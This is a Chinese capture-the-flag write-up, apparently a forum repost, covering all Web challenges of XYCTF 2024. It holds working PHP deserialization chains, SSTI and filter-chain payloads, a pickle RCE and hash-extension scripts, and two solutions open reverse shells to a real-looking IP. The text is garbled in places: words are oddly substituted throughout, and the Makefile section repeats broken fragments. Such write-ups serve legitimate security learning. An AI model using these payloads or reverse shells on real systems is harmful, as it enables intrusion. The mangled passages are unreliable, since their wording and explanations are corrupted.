2024 XYCTF Web 方向 wp 全解

打印 上一主题 下一主题

主题 897|帖子 897|积分 2691

2024 XYCTF Web 方向 全解


  
Web

ezhttp

考点:信息泄漏+底子发包


访问 /robots.txt

访问 /l0g1n.txt

  1. username: XYCTF
  2. password: @JOILha!wuigqi123$
复制代码
登录

添加Referer头


添加User-Agent


直接burp(fake ip)插件一把梭

添加 Via头

添加 Cookie

可以拿flag
warm up

考点:php黑邪术+变量覆盖

  1. <?php  
  2. include 'next.php';  
  3. highlight_file(__FILE__);  
  4. $XYCTF = "Warm up";  
  5. extract($_GET);  
  6.   
  7. if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {  
  8.     echo "ez" . "<br>";  
  9. } else {  
  10.     die("什么情况,这么基础的md5做不来");  
  11. }  
  12.   
  13. if (isset($md5) && $md5 == md5($md5)) {  
  14.     echo "ezez" . "<br>";  
  15. } else {  
  16.     die("什么情况,这么基础的md5做不来");  
  17. }  
  18.   
  19. if ($XY == $XYCTF) {  
  20.     if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {  
  21.         echo $level2;  
  22.     } else {  
  23.         die("什么情况,这么基础的md5做不来");  
  24.     }  
  25. } else {  
  26.     die("学这么久,传参不会传?");  
  27. }
复制代码
extract是典型的变量覆盖关键字
1.md5弱范例,数组绕过即可
  1. $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']
复制代码
2.随便在网上找个md5结果为0e开头字符串而且本身是0e开头的
0e215962017 --------->md5(0e215962017)=0e291242476940776845150308577824
  1. $md5 == md5($md5)
  2. 比如:0e123==0e321
复制代码
3.$XY == $XYCTF变量覆盖 直接串$XY和$XYCTF即可
4.0e绕过md5弱相称
  1. $XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"))
复制代码

可以沿用0e215962017的结果

进入 LLeeevvveeelll222.php
  1. <?php  
  2. highlight_file(__FILE__);  
  3. if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {  
  4.     echo "操作你O.o";  
  5.     echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level  
  6. } else {  
  7.     die("有点汗流浃背");  
  8. }
复制代码
注意当前php版本较低

典型的preg_replace命令实行
!preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']
intval 数组绕过即可

preg_replace()+/e实行任意命令

可以成功拿到flag

ezRCE

考点:无字母RCE(bashfuck)+shell变量构造RCE

  1. <?php  
  2. highlight_file(__FILE__);  
  3. function waf($cmd){    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];     $cmd_char = str_split($cmd);  
  4.     foreach($cmd_char as $char){  
  5.         if (!in_array($char, $white_list)){  
  6.             die("really ez?");  
  7.         }  
  8.     }  
  9.     return $cmd;  
  10. }  
  11. $cmd=waf($_GET["cmd"]);  
  12. system($cmd);
复制代码
快速使用可以用探姬的项目bashFuck
例如 ls

可以成功实行结果

我们可以实验{ls,/}


此时的payload会发现是无效的,思考这是为什么?
缘故原由是 $'\173\154\163\54\57\175' 被shell解析后 当作了字符 {ls,/}而不是命令,没有任何意义
现在题目转换成如何正确表示空格和命令
发现 一篇文章 使用shell脚本变量构造无字母数字命令
文中就是答案

通过bash<<<{cat,/f*}将 命令两次管道解析保证命令可以直接实行
  1. bash  $'\142\141\163\150'
  2. {cat,/f*} $'\173\143\141\164\54\57\146\52\175'
  3. $'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'
复制代码
第一次,解析shell为bash<<{cat,/f*}
第二次,将{cat,/f*}通报给bash正确解析

可以得到flag
ezmd5

考点:md5文件强相称


用工具fastcoll强碰撞

上传1.jpg和2.jpg即可

ezunserilze

考点:引用绕过强相称+php原生类读文件

  1. <?php  
  2. include 'flag.php';  
  3. highlight_file(__FILE__);  
  4. error_reporting(0);  
  5.   
  6. class Flag {  
  7.     public $token;  
  8.     public $password;  
  9.   
  10.     public function __construct($a, $b)  
  11.     {        $this->token = $a;        $this->password = $b;  
  12.     }  
  13.   
  14.     public function login()  
  15.     {  
  16.         return $this->token === $this->password;  
  17.     }  
  18. }  
  19.   
  20. if (isset($_GET['pop']))
  21. {   
  22.     $pop = unserialize($_GET['pop']);   
  23.     $pop->token=md5(mt_rand());  
  24.     if($pop->login()) {  
  25.         echo $flag;  
  26.     }  
  27. }
复制代码
第一段:引用绕过强相称
payload:
  1. <?php
  2. class Flag { public $token; public $password;
  3.                   public function __construct()
  4.                   {
  5.                   $this->password = &$this->token;  
  6.                   }
  7.             }
  8.                   $flag = new Flag();
  9.                   echo serialize($flag);
  10. ?>
复制代码

访问 fpclosefpclosefpcloseffflllaaaggg.php
第二段HP反序列化可控任意属性
  1. <?php  
  2. highlight_file(__FILE__);  
  3. class A {  
  4.     public $mack;  
  5.     public function __invoke()  
  6.     {  
  7.         $this->mack->nonExistentMethod();  
  8.     }  
  9. }  
  10.   
  11. class B {  
  12.     public $luo;  
  13.     public function __get($key){  
  14.         echo "o.O<br>";  
  15.         $function = $this->luo;  
  16.         return $function();  
  17.     }  
  18. }  
  19.   
  20. class C {  
  21.     public $wang1;  
  22.   
  23.     public function __call($wang1,$wang2)  
  24.     {  
  25.             include 'flag.php';  
  26.             echo $flag2;  
  27.     }  
  28. }  
  29.   
  30.   
  31. class D {  
  32.     public $lao;  
  33.     public $chen;  
  34.     public function __toString(){  
  35.         echo "O.o<br>";  
  36.         return is_null($this->lao->chen) ? "" : $this->lao->chen;  
  37.     }  
  38. }  
  39.   
  40. class E {  
  41.     public $name = "xxxxx";  
  42.     public $num;  
  43.   
  44.     public function __unserialize($data)  
  45.     {  
  46.         echo "<br>学到就是赚到!<br>";  
  47.         echo $data['num'];  
  48.     }  
  49.     public function __wakeup(){  
  50.         if($this->name!='' || $this->num!=''){  
  51.             echo "旅行者别忘记旅行的意义!<br>";  
  52.         }  
  53.     }  
  54. }  
  55.   
  56. if (isset($_POST['pop'])) {  
  57.     unserialize($_POST['pop']);  
  58. }
复制代码
编写Poc
  1. <?php
  2. class A {
  3.     public $mack;
  4. }
  5. class B {
  6.     public $luo;
  7. }
  8. class C {
  9.     public $wang1;
  10. }
  11. class D {
  12.     public $lao;
  13.     public $chen;
  14. }
  15. class E {
  16.     public $name = "xxxxx";
  17.     public $num;
  18.    
  19.    
  20. }
  21. $e=new E();
  22. $e->name=new D();
  23. $e->name->lao=new B();
  24. $e->name->lao->luo=new A();
  25. $e->name->lao->luo->mack=new C();
  26. echo(serialize($e));
复制代码

访问saber_master_saber_master.php
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. // flag.php
  5. class XYCTFNO1
  6. {
  7.     public $Liu;
  8.     public $T1ng;
  9.     private $upsw1ng;
  10.     public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
  11.     {
  12.         $this->Liu = $Liu;
  13.         $this->T1ng = $T1ng;
  14.         $this->upsw1ng = $upsw1ng;
  15.     }
  16. }
  17. class XYCTFNO2
  18. {
  19.     public $crypto0;
  20.     public $adwa;
  21.     public function __construct($crypto0, $adwa)
  22.     {
  23.         $this->crypto0 = $crypto0;
  24.     }
  25.     public function XYCTF()
  26.     {
  27.         if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
  28.             return False;
  29.         } else {
  30.             return True;
  31.         }
  32.     }
  33. }
  34. class XYCTFNO3
  35. {
  36.     public $KickyMu;
  37.     public $fpclose;
  38.     public $N1ght = "Crypto0";
  39.     public function __construct($KickyMu, $fpclose)
  40.     {
  41.         $this->KickyMu = $KickyMu;
  42.         $this->fpclose = $fpclose;
  43.     }
  44.     public function XY()
  45.     {
  46.         if ($this->N1ght == 'oSthing') {
  47.             echo "WOW, You web is really good!!!\n";
  48.             echo new $_POST['X']($_POST['Y']);
  49.         }
  50.     }
  51.     public function __wakeup()
  52.     {
  53.         if ($this->KickyMu->XYCTF()) {
  54.             $this->XY();
  55.         }
  56.     }
  57. }
  58. if (isset($_GET['CTF'])) {
  59.     unserialize($_GET['CTF']);
  60. }
复制代码
POC:
  1. <?php
  2. // flag.php
  3. class XYCTFNO1
  4. {
  5.     public $Liu;
  6.     public $T1ng;
  7.     public $upsw1ng;
  8. }
  9. class XYCTFNO2
  10. {
  11.     public $crypto0;
  12.     public $adwa;
  13. }
  14. class XYCTFNO3
  15. {
  16.     public $KickyMu;
  17.     public $fpclose;
  18.     public $N1ght = "Crypto0";
  19. }
  20. $xyctf3=new XYCTFNO3();
  21. $xyctf3->N1ght='oSthing';
  22. $xyctf3->KickyMu=new XYCTFNO2();
  23. $xyctf3->KickyMu->adwa=new XYCTFNO1();
  24. $xyctf3->KickyMu->adwa->crypto0='dev1l';
  25. $xyctf3->KickyMu->adwa->T1ng='yuroandCMD258';
  26. echo(serialize($xyctf3));
复制代码

终极命令实行触发点
echo new $_POST['X']($_POST['Y']);
php原生类读文件 SplFileObject(默认读一行)
以是要结合php伪协议读文件全部内容
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

解码就是flag

牢牢记取,逝者为大

考点:php代码实行过滤绕过

  1. <?php  
  2. highlight_file(__FILE__);  
  3. function Kobe($cmd)  
  4. {  
  5.     if (strlen($cmd) > 13) {  
  6.         die("see you again~");  
  7.     }  
  8.     if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {  
  9.         die("肘死你");  
  10.     }  
  11.     foreach ($_GET as $val_name => $val_val) {  
  12.         if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {  
  13.             return "what can i say";  
  14.         }  
  15.     }  
  16.     return $cmd;  
  17. }  
  18.   
  19. $cmd = Kobe($_GET['cmd']);  
  20. echo "#man," . $cmd  . ",manba out";  
  21. echo "<br>";  
  22. eval("#man," . $cmd . ",mamba out");
复制代码
有长度限制strlen($cmd) > 13
考虑 反引号实行系统命令(只有两个字符) 等价于 `shell_exec(); 这个命令是没有回显的
做个转讨论 逃逸 命令长度限制
  1. `$_GET[1]`;
复制代码
将实行 GET参数中1的值
过滤后终极实行eval("#man," . $cmd . ",mamba out");有无关字符
# 在php中是单行注释符 用 %0A换行即可绕过(到下一行了)
. ",mamba out" 后面有无关字符 用#注释后面即可
payload: 刚好13个字符
  1. cmd=%0a`$_GET[1]`;
  2. %23
复制代码
没有回显考虑反弹shell
payload
  1. ?cmd=%0a`$_GET[1]`;
  2. %23&1=nc 148.135.82.190 8888 -e /bi''n/sh
复制代码
可以成功用nc反弹shell

ezMake

考点:命令实行绕过+shell变量更换符读文件 trick

清空 默认情况变量,但是发现echo可用
法一:使用shell变量更换符$(<file)读文件
看看可以如何用

坑点:这里两个$$才代表一个$注意一下
echo $$(<flag)
直接读flag

报错带出也是可以的

法二:直接访问/flag在当前目次下,直接下载下来即可
010打开后

直接就是flag
ez?Make

考点:读文件+文件名过滤

flag在根目次下

cd到根目次下

通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)

[^b]代表不是b的其他字符
εZ?¿м@Kε¿?

考点:报错读文件+makefile自动变量

Makefile 自动变量
在Makefile中,各人经常会见到类似                                   @                         、                              @、                  @、^、$<这种范例的变量。这种变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的寄义:


  • $@:目的
  • $^:所有目的依靠
  • $<:目的依靠列表中的第一个依靠
  •                                         ?                            :所有目的依靠中被修改过的文件这里第一个依靠是就是                            /                            f                            l                            a                            g                            (                            注意                            =                            =                            坑点                            =                            =                            ,之前不要试                                  ?:所有目的依靠中被修改过的文件 这里第一个依靠是就是 /flag (注意==坑点==,之前不要试                     ?:所有目的依靠中被修改过的文件这里第一个依靠是就是/flag(注意==坑点==,之前不要试>,会导致重定向输出创建新文件了,直接影响了后续判断为依靠是FLAG,卡了半天读不到/flag)

    配和报错带出即可 参照前面ezMake
    坑点:这里两个$$才代表一个$
    $$(<$<)

我是一个复读机

考点:弱密码+SSTI的简单绕过(requests)

账号admin 密码asdqwe
构造错误数据登录包

直接将题目考点暴露出来 肯定是SSTI
简单Fuzz一下

发现标签都闭合不了{{}},{%%}
思考是不是代表不能做?
测了一下中文全角(任意全角字符)都可以返回正常的{}(有点脑洞)


requests,args,.没有克制
直接requests绕过关键词过滤|attr()绕过[]过滤
  1. [[lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
复制代码

直接读flag
Pharme

考点:文件上传+phar文件包含+无参代码实行RCE+__halt_compiler函数的应用

先创建phar文件
  1. <?php
  2. class evil{
  3.     public $cmd;
  4.     public $a;
  5. }
  6. @unlink('test.phar');   //删除之前的test.par文件(如果有)
  7. $phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
  8. $phar->startBuffering();  //开始写文件
  9. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //写入stub
  10. $o=new evil();
  11. $o->cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';
  12. $phar->setMetadata($o);//写入meta-data
  13. $phar->addFromString("test.txt","test");  //添加要压缩的文件
  14. $phar->stopBuffering();
  15. ?>
复制代码
得到test.phar文件

上传phar文件

文件上传存在典型检测__HALT_COMPILER被过滤了 将天生的Phar文件举行gzip压缩绕过即可
gzip压缩后,修改后缀为jpg

成功上传
拿文件上传地点
  /tmp/0412c29576c708cf0155e8de242169b1.jpg

访问class.php内容
  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. class evil{
  5.     public $cmd;
  6.     public $a;
  7.     public function __destruct(){
  8.         if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
  9.             eval($this->cmd.'isbigvegetablechicken!');
  10.         } else {
  11.             echo 'nonono';
  12.         }
  13.     }
  14. }
  15. if(isset($_POST['file']))
  16. {
  17.     if(preg_match('/^phar:\/\//i',$_POST['file']))
  18.     {
  19.         die("nonono");
  20.     }
  21.     file_get_contents($_POST['file']);
  22. }
复制代码
关键点1.if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
将A-Z,a-z,_,(,)更换为空后将留下的;更换为ch3nx1后查抄是否是等于ch3nx1
简单来说就是典型的 无参代码实行RCE
用常见的绕过手法即可
关键点2.preg_match('/^phar:\/\//i 开头不能是phar://
直接php://filtr/resource=phar://绕过即可
关键点3. eval($this->cmd.'isbigvegetablechicken!');
我们的题目是:如何正常实行前面内容而忽视后面的编译错误
通过使用__halt_compiler 函数 停止编译器的实行 可以达成这个结果


等价实行了print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();
eval()实行host之前的请求头

直接可以得到flag
题目溯源:

  • 安洵杯SYCCTF2023 4号的罗纳尔多 POC根本一模一样

  • 2022 极客大挑战 ezRCE
连连看到底是连连什么看

考点:php filter chain构造指定字符串

精良的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目的字符串,字符集存在乱码,如果要构造明确的字符,需要了解构造php filter chain构造根本原理

保证php filter chain天生内容是XYCTF就可以得到flag
这里我们用php_filter_chain_generator辅助分析

先在本地测试调试输出

可以构造出XYCTF+一堆乱码
现在的题目是 如何去掉这堆乱码
法一:
最简解 配合 string.strip_tags过滤器剔除垃圾字符
可以去掉php,html标签内容,<我是垃圾>乃至可以是没有闭合的标签<垃圾是我后的所有字符

(这里固然说是php7.3.0后废除,但是我看了看网上在线的php官方文档直到php8.0还没有完全废弃)
以是也是可以用的,嘿嘿
我们构造XYCTF<


手动添加string.strip_tags
直接剔除<后面的垃圾字符,输出flag

POC
  1. convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
复制代码

远程一样买通
法二:
手搓字符(使用base-decode去除非码表字符特性)
编码时遵循3变4原则,缺就用=补位
简单测试一下

先解码后编码 -----> 可以看到 后面的 非码表字符 被剔除了
不能正常解码可以手动填充数据(用码表字符补)直到乱码中没有码表字符,也别带=号(填充无关紧急,但是多次解码后会影响结果) 接下来不断解码编码


手动构造出字符VmpCYWMxSkdXa1pYVVdGRFEwUWUar base64-decode 4次可以剔除垃圾字符 构造出XYCTF

手动加 base64-decode 4次即可

照旧挺神奇的,不过不保举,容易出错
法三:
poc脚本修改
队友给了个脚本,因为 =是 工具 作者没有Fuzzing出来的
以是在直接在去掉=填充也不影响数据
  1. import base64  
  2.   
  3. file_to_use = "/etc/passwd"  
  4.   
  5. #<?php eval($_GET[1]);?>a  
  6. base64_payload=base64.b64encode("Vm1wQ1lXTXhTa2RYYTFwWVZWRQ".encode()).decode().replace("=","")  
  7. print(base64_payload)  
  8. # generate some garbage base64  
  9. filters = "convert.iconv.UTF8.CSISO2022KR|"  
  10. filters += "convert.base64-encode|"  
  11. # make sure to get rid of any equal signs in both the string we just generated and the rest of the file  
  12. filters += "convert.iconv.UTF8.UTF7|"  
  13.   
  14.   
  15. for c in base64_payload[::-1]:  
  16.         filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"  
  17.         # decode and reencode to get rid of everything that isn't valid base64  
  18.         filters += "convert.base64-decode|"  
  19.         filters += "convert.base64-encode|"  
  20.         # get rid of equal signs  
  21.         filters += "convert.iconv.UTF8.UTF7|"  
  22.   
  23. filters += "convert.base64-decode"  
  24.   
  25. final_payload = f"php://filter/{filters}/resource={file_to_use}"  
  26.   
  27. with open('test.php','w') as f:  
  28.     f.write('<?php echo file_get_contents("'+final_payload+'");?>')  
  29. print(filters)
复制代码
解base64-decode 7次可以拿到XYCTF
ezpop

考点:Fast-destruct+call_user_func闭包RCE

  1. <?php  
  2. error_reporting(0);  
  3. highlight_file(__FILE__);  
  4.   
  5. class AAA  
  6. {  
  7.     public $s;  
  8.     public $a;  
  9.     public function __toString()  
  10.     {  
  11.         echo "you get 2 A <br>";        
  12.         $p = $this->a;  
  13.         return $this->s->$p;  
  14.     }  
  15. }  
  16.   
  17. class BBB  
  18. {  
  19.     public $c;  
  20.     public $d;  
  21.     public function __get($name)  
  22.     {  
  23.         echo "you get 2 B <br>";        
  24.         $a=$_POST['a'];        
  25.         $b=$_POST;        
  26.         $c=$this->c;        
  27.         $d=$this->d;  
  28.         if (isset($b['a'])) {  
  29.             unset($b['a']);  
  30.         }        call_user_func($a,$b)($c)($d);  
  31.     }  
  32. }  
  33.   
  34. class CCC  
  35. {  
  36.     public $c;  
  37.   
  38.     public function __destruct()  
  39.     {  
  40.         echo "you get 2 C <br>";  
  41.         echo $this->c;  
  42.     }  
  43. }  
  44.   
  45.   
  46. if(isset($_GET['xy'])) {    $a = unserialize($_GET['xy']);  
  47.     throw new Exception("noooooob!!!");  
  48. }
复制代码
关键点1.绕过throw new Exception("noooooob!!!");
Fast-destruct即可:删除末尾的} 快速触发__destruct() (垃圾接纳机制)从而绕过抛出异常终止实行
关键点2.call_user_func($a,$b)($c)($d);
$b是$_POST的数组(去除了a)
等价于call_user_func($a,['key'=>'value'])($c)($d);
call_user_func用法

思考我们PHP命令实行的几种形式,我们要如何将它联系在一起来了?
在PHP>7后,支持('system')('ls')这种动态实行函数的特性
简单测测 任意闭包会影响结果吗?

('system')('ls')('J1rrY')(668)(996);任意闭包都不会影响我们的结果
那么我们现在的题目是如何让call_user_func($a,['key'=>'value'])返回字符串而且回调函数接受一个数组,我们自然而然想到implode函数,将数组的值拼接为一个字符串,非常符合我们的预期
简单测试一下

可以成功实行我们的系统命令,至此整条链子也通了
编写简单的POP链
  1. <?php
  2. error_reporting(0);
  3. class AAA
  4. {
  5.     public $s;
  6.     public $a;
  7. }
  8. class BBB
  9. {
  10.     public $c;
  11.     public $d;
  12. }
  13. class CCC
  14. {
  15.     public $c;
  16. }
  17. $c=new CCC();
  18. $c->c=new AAA();
  19. $c->c->s=new BBB();
  20. $c->c->a="test";
  21. $c->c->s->c='cat /f*';
  22. $c->c->s->d=0;
  23. echo(serialize($c));
复制代码
天生后删除末尾 }
payload:
O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat /f*";s:1:"d";i:0;}s:1:"a";s:4:"test";}

直接读到flag
题目溯源:
1.Lctf 2018 bestphp’s revenge
  1. <?php  
  2. highlight_file(__FILE__);  
  3. $b = 'implode';  
  4. call_user_func($_GET['f'], $_POST);  
  5. session_start();  
  6. if (isset($_GET['name'])) {   
  7. $_SESSION['name'] = $_GET['name'];  
  8. }  
  9. var_dump($_SESSION);  
  10. $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
  11. call_user_func($b, $a);  
  12. ?>
复制代码
ezClass

考点:php原生类构造字符串+php动态实行函数特性

  1. <?php  
  2. highlight_file(__FILE__);  
  3. $a=$_GET['a'];  
  4. $aa=$_GET['aa'];  
  5. $b=$_GET['b'];  
  6. $bb=$_GET['bb'];  
  7. $c=$_GET['c'];  
  8. ((new $a($aa))->$c())((new $b($bb))->$c());
复制代码
布局 new 一个类(参数)->实行方法
使用Error类的静态方法 getMessage返回任意字符结合php的动态实行特性

例如new Error("system")->getMessage 会返回system

POC
  1. ?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage
复制代码

login

考点:pickle反序列化字节码绕过(opache绕过)


看后缀大概以为是php做后端,但是服务器的响应式flask的框架(fake php)
经典注册登录 /register.php
注册一个账号 1,1 登录成功后 检察 cookie

猜疑RememberMe的字段是 pickle反序列化后的数据
写个脚本反序列化一下
  1. import pickle
  2. import base64
  3. import pickletools
  4. cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="
  5. data=base64.b64decode(cookie)  
  6. print(pickletools.dis(data))
复制代码

确定是 pickle反序列化的题目
简单Fuzz发现是过滤 R,r字符
考虑 opache绕过 比如 i 方向 之前写过文章总结过这里不重复了
当时笔记是
   [!NOTE]
可以直接拼接pickle数据(不用伪造flask-session的题)
直接将base64-decode数据末了的.去掉后贴payload直接打反弹shell
  \x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.
.代表结束 可以将两个pickle流直接拼接在一起
  1. i可用
  2. b'''(S'whoami'\nios\nsystem\n.'''
复制代码
拼接一下
  1. \x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.
  2. import pickle
  3. import base64
  4. import pickletools
  5. cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="
  6. print(base64.b64decode(cookie))
  7. import base64
  8. #bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"
  9. opcode=b'''\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.'''
  10. print(base64.b64encode(opcode))
复制代码
对数据base64编码后
  1. gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViKFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjEiJwppb3MKc3lzdGVtCi4=
复制代码
发送请求

可以直接反弹shell


直接拿flag即可
give me flag

考点:hash长度扩展攻击

典型md5长度扩展攻击 md5($FLAG.$value.$time)===$md5
  1. <?php  
  2. include('flag.php');  
  3. $FLAG_md5 = md5($FLAG);  
  4. if(!isset($_GET['md5']) || !isset($_GET['value']))  
  5. {    highlight_file(__FILE__);  
  6.     die($FLAG_md5);  
  7. }  
  8.   
  9. $value = $_GET['value'];  
  10. $md5 = $_GET['md5'];  
  11. $time = time();  
  12.   
  13. if(md5($FLAG.$value.$time)===$md5)  
  14. {  
  15.     echo "yes, give you flag: ";  
  16.     echo $FLAG;  
  17. }
复制代码
保举中文项目:https://github.com/shellfeel/hash-ext-attack
原先的 hashpump项目作者github删库了
法一:最简解(直接办测)
unxi时间戳

注意unix时间戳 发起提前100秒
直接将 md5($FLAG) 的值输出了

md5($FLAG.$value.$time)===$md5
$timeunix时间做了后缀字符
比如我当时的时间戳是1714025400 那我写后缀是就是 1714025500

但是如何判断flag的长度了?
完全可以 根据平台特性是动态flag 位数是固定的43位,可以参考之前的flag 猜出来
注意提交的$value是%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001714025500去掉后缀的时间戳%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00
写个脚本不断请求
  1. import requests
  2. url='http://127.0.0.1:54572/?md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'
  3.   
  4. while True:
  5.     res=requests.get(url=url)
  6.     if "{" in res.text:
  7.         print(res.text)
  8.         break
复制代码

就可以直接拿到flag
法二: 当时写了个脚本做的(有网络延长time增加一点即可)
阅读项目源码原理,配合 hash-ext-attack项目调试即可

  1. import requests
  2. import time
  3. import sys
  4. import urllib.parse
  5. from loguru import logger
  6. from common.HashExtAttack import HashExtAttack
  7. hash_ext_attack = HashExtAttack()
  8. logger.remove()
  9. logger.add(sys.stderr, level="INFO")
  10.   
  11. initial_url = ''
  12.   
  13. while True:
  14.     for i in range(7,50):
  15.         new_text_part, new_hash = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', '', i)
  16.         quote = urllib.parse.quote(new_text_part, safe='&=')
  17.         new_text_part2, new_hash2 = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', str(int(time.time())+1), i)
  18.         url = f"{initial_url}/?md5={new_hash2}&value={quote}"
  19.         response = requests.get(url=url)
  20.         print(f"Time:+{int(time.time())}")
  21.         text = response.text
  22.         print(f"Response: {text}")
  23.         if "{" in response.text:
  24.             print(f"found Flag: {response.text}")
  25.             break
复制代码
ezLFI

考点: php filter chain+阅读dockerfile

在docker文件中设置权限题目
chmod 400 /flag  只有文件所有者可以读取文件内容
存在/readflag阐明要实行shell命令
给了include_once();
没什么好说的一眼php filter chain构造任意字符,考点重复了?
用php_filter_chain天生一句话木马即可
精良的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目的字符串,字符集大概存在乱码,如果要构造明确的字符,需要了解根本原理
考法:

  • 文件包含直接rce(绕过include指定后缀或文件限制)
  • 构造任意字符过判断
    注意一下:
    如果服务器无响应阐明天生的php filter chain中有靶机系统不支持的字符集,换一个项目天生,注意一下,我这里用的是PHP_INCLUDE_TO_SHELL_CHAR_DICT项目
    构造一句话木马<?php eval($_GET[1]);?>
